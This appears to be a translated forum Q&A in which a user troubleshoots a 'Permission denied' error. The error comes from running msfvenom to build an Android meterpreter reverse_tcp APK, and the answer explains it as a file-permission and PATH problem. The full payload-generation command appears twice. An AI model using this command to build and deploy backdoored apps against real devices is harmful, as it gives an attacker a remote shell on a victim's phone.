我对 Metasploit 几乎一无所知,所以我遇到的问题可能任何有经验的人都可以解决,但我在网上没有看到任何解决办法。我正在运行
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk
并返回
bash: filename.apk: Permission denied
此外,为了运行此命令而不出现大量错误,或者运行我必须进入的 metasploit 控制台/opt/metasploit-framework
。
无论如何,我只找到一个有同样问题的来源,运行 bundler 命令时出现“权限被拒绝”但是,这里也没有解决方案。
还有其他人遇到过这个问题并找到了解决方案吗?
答案1
如果你跑
msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk
从不属于您的位置创建文件filename.apk
将导致Permission denied
。这是 Linux 中众所周知的安全措施。在这种情况下,您需要在命令前加上“sudo”。
另外,为了运行此命令而不出现大量错误,或者运行 metasploit 控制台,我必须位于 /opt/metasploit-framework/
意味着您可能拥有该目录,并且其中的任何内容或预期的参数都可以从另一个目录中找到,/opt/metasploit-framework/
而不是从另一个目录中找到(这将与 PATH 变量或设置环境变量相关)。除非您将消息编辑到您的问题中,否则无法进一步回答。